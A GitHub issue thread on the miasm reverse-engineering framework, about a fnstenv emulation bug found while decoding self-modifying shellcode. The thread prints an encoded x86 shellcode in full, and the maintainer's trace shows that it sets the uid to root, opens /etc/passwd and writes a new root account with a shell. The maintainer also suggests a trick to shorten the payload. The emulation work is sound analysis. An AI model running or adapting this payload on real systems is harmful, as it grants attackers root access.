cea-sec / miasm

Reverse engineering framework in Python
https://miasm.re/
GNU General Public License v2.0
3.47k stars 474 forks source link

Bad behaviour with `fnstenv` #1048

Closed Summus-31c04089c3cd80 closed 5 years ago

Summus-31c04089c3cd80 commented 5 years ago

Hello, I'm updating my tools with the current master, and everything is working well, except for self modifying shellcodes that use fnstenv.

This is one of the shellcode that are not working : \x29\xC9\x83\xE9\xE9\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xFD\x96\x34\xE4\x83\xEB\xFC\xE2\xF4\xCC\x5F\xBD\x2F\x97\xD0\x6C\x29\x7D\xFC\x31\xBC\xCC\x5F\x65\x8C\x8E\xE5\x43\x80\x95\xB9\x1B\x94\x9C\xFE\x1B\x81\x89\xF5\xBD\x07\xBC\x23\x30\x29\x7D\x05\xDC\xC6\xFD\x96\x34\x90\xCD\xA6\x46\xDE\xBC\xD7\x6D\xAF\xAA\xC0\x5E\xB6\xB1\xA0\x5E\x8F\xB4\xAC\x04\xDE\xCD\xAC\x0E\xCB\xC7\xB9\x56\x8D\x93\xB9\x47\x8C\xF7\xCF\xBF\xB5\x01\xFC\x30\xBC\x30\x16\x5E\xE5\xA5\x5B\xB4\xE4

I'm using example/jitter/x86_32.py with gcc jitter (I tried with others with same result).

This is the log on the current master :

40000000 SUB        ECX, ECX
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000
ESP 0123FFFC EBP 00000000 EIP 40000002 zf 1 nf 0 of 0 cf 0
40000002 SUB        ECX, 0xFFFFFFE9
EAX 00000000 EBX 00000000 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 0123FFFC EBP 00000000 EIP 40000005 zf 0 nf 0 of 0 cf 1
40000005 FLDZ
EAX 00000000 EBX 00000000 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 0123FFFC EBP 00000000 EIP 40000007 zf 0 nf 0 of 0 cf 1
40000007 FNSTENV    TBYTE PTR [ESP + 0xFFFFFFF4]
EAX 00000000 EBX 00000000 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 0123FFFC EBP 00000000 EIP 4000000B zf 0 nf 0 of 0 cf 1
4000000B POP        EBX
EAX 00000000 EBX 1337BEEF ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01240000 EBP 00000000 EIP 4000000C zf 0 nf 0 of 0 cf 1
4000000C XOR        DWORD PTR [EBX + 0x13], 0xE43496FD
WARNING: address 0x1337BF02 is not mapped in virtual memory

EBX is getting the pushed value in the initialisation of the script (0x1337beef). But It should get the adress of FLDZ instr (0x40000005)

A long time ago (commit f66e973a8c376), it was working like that :

40000000 SUB        ECX, ECX
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01237FFC EBP 01238100 EIP 40000000 zf 1 nf 0 of 0 cf 0
40000002 SUB        ECX, 0xFFFFFFE9
EAX 00000000 EBX 00000000 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01237FFC EBP 01238100 EIP 40000000 zf 0 nf 0 of 0 cf 1
40000005 FLDZ
EAX 00000000 EBX 00000000 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01237FFC EBP 01238100 EIP 40000000 zf 0 nf 0 of 0 cf 1
40000007 FNSTENV    TBYTE PTR [ESP+0xFFFFFFF4]
EAX 00000000 EBX 00000000 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01237FFC EBP 01238100 EIP 40000000 zf 0 nf 0 of 0 cf 1
4000000B POP        EBX
EAX 00000000 EBX 40000005 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01238000 EBP 01238100 EIP 40000000 zf 0 nf 0 of 0 cf 1
4000000C XOR        DWORD PTR [EBX+0x13], 0xE43496FD
EAX 00000000 EBX 40000005 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01238000 EBP 01238100 EIP 40000000 zf 0 nf 1 of 0 cf 0
40000013 SUB        EBX, 0xFFFFFFFC
EAX 00000000 EBX 40000009 ECX 00000017 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01238000 EBP 01238100 EIP 40000000 zf 0 nf 0 of 0 cf 1
40000016 LOOP       loc_000000004000000C:0x4000000c
EAX 00000000 EBX 40000009 ECX 00000016 EDX 00000000 ESI 00000000 EDI 00000000
ESP 01238000 EBP 01238100 EIP 4000000C zf 0 nf 0 of 0 cf 1

EBX get the good value.

Note that I have to "patch" the script with some more pushes because of fnstenv using memory out of the allocated stack.

I did not find a difference in the code of fnstenv that could explain it. But I don't understand these internals of miasm to explore deeper.

serpilliere commented 5 years ago

Hi @Summus6! Sorry for the delay. You are right: we introduced an error during the python2/python3 code update, due to operand priority :sad:

1077 should fix it!

Thank you for your feedback!

Summus-31c04089c3cd80 commented 5 years ago

Hi, Super, I'm happy it was easy to fix ^^ Thank you for your awesome work :D

serpilliere commented 5 years ago

I confirm, the PR works with the given shellcode:

from argparse import ArgumentParser
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.machine import Machine
from miasm.jitter.csts import *

def deal_int(jitter):
    syscall_num = jitter.cpu.EAX
    if syscall_num == 1:
        print("SYSCALL: exit")
        return False
    elif syscall_num == 4:
        data = jitter.vm.get_mem(jitter.cpu.ECX, jitter.cpu.EDX)
        print("SYSCALL: write to %x %r" % (jitter.cpu.EBX, data))
        jitter.cpu.EAX = len(data)
    elif syscall_num == 5:
        filename = jitter.get_str_ansi(jitter.cpu.EBX)
        print("SYSCALL: open %s" % filename)
        if filename == '/etc//passwd':
            jitter.cpu.EAX = 0x1337
        else:
            fds
    elif syscall_num == 70:
        print("SYSCALL: setreuid %x %x" % (jitter.cpu.RBX, jitter.cpu.RCX))
    else:
        print("Unimplemented syscall %d" % syscall_num)
        fsd
    jitter.cpu.set_exception(0)
    jitter.vm.set_exception(0)
    return True

parser = ArgumentParser(description="x86 32 basic Jitter")
parser.add_argument("filename", help="x86 32 shellcode filename")
parser.add_argument("-j", "--jitter",
                    help="Jitter engine (default is 'gcc')",
                    default="gcc")

args = parser.parse_args()

myjit = Machine("x86_32").jitter(args.jitter)
myjit.init_stack()

data = open(args.filename, 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)

myjit.set_trace_log(False, False, True)

# For fnstenv
myjit.cpu.ESP -=0x10

# Hook int
myjit.add_exception_handler(EXCEPT_INT_XX, deal_int)

myjit.push_uint32_t(0x1337beef)
myjit.init_run(run_addr)
myjit.continue_run()

Result:

python -i run_sc_flt.py  sc_flt.bin
loc_40000000
SUB        ECX, ECX
SUB        ECX, 0xFFFFFFE9
FLDZ       
FNSTENV    TBYTE PTR [ESP + 0xFFFFFFF4]
POP        EBX
XOR        DWORD PTR [EBX + 0x13], 0xE43496FD
SUB        EBX, 0xFFFFFFFC
LOOP       loc_4000000c
->      c_next:loc_40000018     c_to:loc_4000000c 
loc_4000000c
XOR        DWORD PTR [EBX + 0x13], 0xE43496FD
SUB        EBX, 0xFFFFFFFC
LOOP       loc_4000000c
->      c_next:loc_40000018     c_to:loc_4000000c 
loc_40000018
XOR        ECX, ECX
MOV        EBX, ECX
PUSH       0x46
POP        EAX
INT        0x80
->      c_next:loc_40000021 
SYSCALL: setreuid 0 0
loc_40000021
PUSH       0x5
POP        EAX
XOR        ECX, ECX
PUSH       ECX
PUSH       0x64777373
PUSH       0x61702F2F
PUSH       0x6374652F
MOV        EBX, ESP
INC        ECX
MOV        CH, 0x4
INT        0x80
->      c_next:loc_4000003d 
SYSCALL: open /etc//passwd
loc_4000003d
XCHG       EAX, EBX
CALL       loc_40000065
->      c_next:loc_40000043 
loc_40000065
POP        ECX
MOV        EDX, DWORD PTR [ECX + 0xFFFFFFFC]
PUSH       0x4
POP        EAX
INT        0x80
->      c_next:loc_4000006e 
SYSCALL: write to 1337 b't00r:AAYKWVjRL6jkI:0:0::/:/bin/sh\n'
loc_4000006e
PUSH       0x1
POP        EAX
INT        0x80
->      c_next:loc_40000073 
SYSCALL: exit
serpilliere commented 5 years ago

Note: you may have a double "//" on the '/etc//passwd' Thus, if you remove one '/', you gain one char which can be used as the nul terminator for the string, which will safe you an extra "PUSH ECX", which will save one byte in the schellcode :smile: As it's encoded, the freshly introduced null byte should not be a problem.

Summus-31c04089c3cd80 commented 5 years ago

That's true ;) It was a random shellcode I took somewhere to test the decoding process ^^